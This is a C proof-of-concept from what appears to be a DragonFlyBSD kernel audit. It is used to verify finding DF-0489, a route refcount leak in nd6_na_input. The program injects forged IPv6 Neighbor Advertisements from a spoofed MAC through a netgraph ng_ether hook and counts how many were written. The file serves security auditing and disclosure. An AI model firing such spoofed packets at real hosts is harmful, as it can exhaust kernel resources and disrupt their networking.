DragonFlyBSD Kernel Audit
DF-0489 / poc_df0489_ng.c
← back to finding ↓ download raw
/*
 * DF-0489 PoC - NA refcount leak tester via netgraph RX injection.
 *
 * The finding claims nd6_na_input leaks one route refcount per received NA.
 * We inject NAs via netgraph ng_ether (packets written to vtnet0:lower appear
 * as wire RX input) and watch the route "Refs" column (netstat -rn -W).
 *
 * Requires: kldload ng_ether ng_socket  (root, kernel-path verification)
 *
 * Build: cc -o poc_df0489_ng poc_df0489_ng.c
 * Run:   ./poc_df0489_ng <count>   (default 1000)
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>
#include <netgraph/ether/ng_ether.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

#ifndef NGIOCSETNAME
#define NGIOCSETNAME _IOW('N', 41, struct ngm_name)
#endif

#define IFNAME "vtnet0"
static unsigned char guest_mac[6] = {0x52,0x54,0x00,0x12,0x34,0x56};
static unsigned char fake_mac[6]  = {0xde,0xad,0xbe,0xef,0x00,0x01};

struct eth_hdr { unsigned char dst[6], src[6]; unsigned short type; } __attribute__((packed));

static uint32_t cksum32(const void *p, int len, uint32_t sum) {
    const uint16_t *w = p;
    while (len > 1) { sum += *w++; len -= 2; }
    if (len == 1) sum += *(const uint8_t*)w;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return sum;
}
static uint16_t icmp6_cksum(struct in6_addr *s, struct in6_addr *d, void *ic, int l) {
    struct { struct in6_addr s,d; uint32_t len; uint8_t z[3],n; } __attribute__((packed)) ph;
    ph.s=*s; ph.d=*d; ph.len=htonl(l); ph.z[0]=ph.z[1]=ph.z[2]=0; ph.n=IPPROTO_ICMPV6;
    return (uint16_t)~cksum32(ic, l, ~cksum32(&ph, sizeof(ph), 0) & 0xffff);
}

int main(int argc, char **argv) {
    int count = (argc>1)?atoi(argv[1]):1000;
    int cfd, dfd, rc;
    char mynode[NG_NODESIZ];

    cfd = socket(PF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
    if (cfd < 0) { perror("ctl socket"); return 2; }
    dfd = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
    if (dfd < 0) { perror("data socket"); return 2; }

    /* Name my data socket node via NGIOCSETNAME ioctl */
    struct ngm_name nm;
    memset(&nm, 0, sizeof(nm));
    strncpy(nm.name, "nainj", NG_NODESIZ-1);
    if (ioctl(dfd, NGIOCSETNAME, &nm) < 0) {
        /* try control socket */
        if (ioctl(cfd, NGIOCSETNAME, &nm) < 0) {
            perror("NGIOCSETNAME");
            fprintf(stderr, "(continuing; will connect via node id)\n");
        }
    }
    printf("data socket fd=%d\n", dfd);

    /* Connect nainj: -> vtnet0:lower using ngctl (simplest) */
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ngctl connect nainj: vtnet0: lower lower 2>&1");
    rc = system(cmd);
    printf("connect rc=%d\n", rc);
    snprintf(cmd, sizeof(cmd), "ngctl show nainj: 2>&1");
    system(cmd);

    /* Build fake target addr from fake_mac EUI-64 */
    struct in6_addr fake_tgt;
    memset(&fake_tgt, 0, sizeof(fake_tgt));
    fake_tgt.s6_addr[0]=0xfe; fake_tgt.s6_addr[1]=0x80;
    fake_tgt.s6_addr[8]=fake_mac[0]^0x02; fake_tgt.s6_addr[9]=fake_mac[1];
    fake_tgt.s6_addr[10]=fake_mac[2]; fake_tgt.s6_addr[11]=0xff;
    fake_tgt.s6_addr[12]=0xfe; fake_tgt.s6_addr[13]=fake_mac[3];
    fake_tgt.s6_addr[14]=fake_mac[4]; fake_tgt.s6_addr[15]=fake_mac[5];

    /* dst = guest link-local */
    struct in6_addr gdst;
    memset(&gdst,0,sizeof(gdst));
    gdst.s6_addr[0]=0xfe; gdst.s6_addr[1]=0x80;
    gdst.s6_addr[8]=0x52^0x02; gdst.s6_addr[9]=0x54; gdst.s6_addr[10]=0x00;
    gdst.s6_addr[11]=0xff; gdst.s6_addr[12]=0xfe; gdst.s6_addr[13]=0x12;
    gdst.s6_addr[14]=0x34; gdst.s6_addr[15]=0x56;

    printf("Injecting %d NAs via ng_ether lower hook (appears as RX input)\n", count);
    int ok=0;
    for (int i=0;i<count;i++){
        unsigned char buf[256];
        memset(buf,0,sizeof(buf));
        struct eth_hdr *eh=(struct eth_hdr*)buf;
        struct ip6_hdr *ip6=(struct ip6_hdr*)(eh+1);
        struct nd_neighbor_advert *na=(struct nd_neighbor_advert*)((char*)ip6+sizeof(*ip6));
        memcpy(eh->dst,guest_mac,6); memcpy(eh->src,fake_mac,6); eh->type=htons(0x86dd);
        ip6->ip6_vfc=0x60; ip6->ip6_hlim=255; ip6->ip6_nxt=IPPROTO_ICMPV6;
        ip6->ip6_plen=htons(sizeof(*na));
        ip6->ip6_src=fake_tgt; ip6->ip6_dst=gdst;
        na->nd_na_type=ND_NEIGHBOR_ADVERT; na->nd_na_code=0;
        na->nd_na_flags_reserved=ND_NA_FLAG_SOLICITED|ND_NA_FLAG_OVERRIDE;
        na->nd_na_target=fake_tgt;
        int icmplen=sizeof(*na);
        na->nd_na_cksum=0;
        na->nd_na_cksum=icmp6_cksum(&ip6->ip6_src,&ip6->ip6_dst,na,icmplen);
        int total=sizeof(*eh)+sizeof(*ip6)+icmplen;
        ssize_t w=write(dfd,buf,total);
        if(w>0)ok++;
        if(i==0||i==count-1) printf("  NA %d: wrote %zd\n",i,w);
    }
    printf("Injected %d/%d NAs.\n",ok,count);
    close(dfd); close(cfd);
    return 0;
}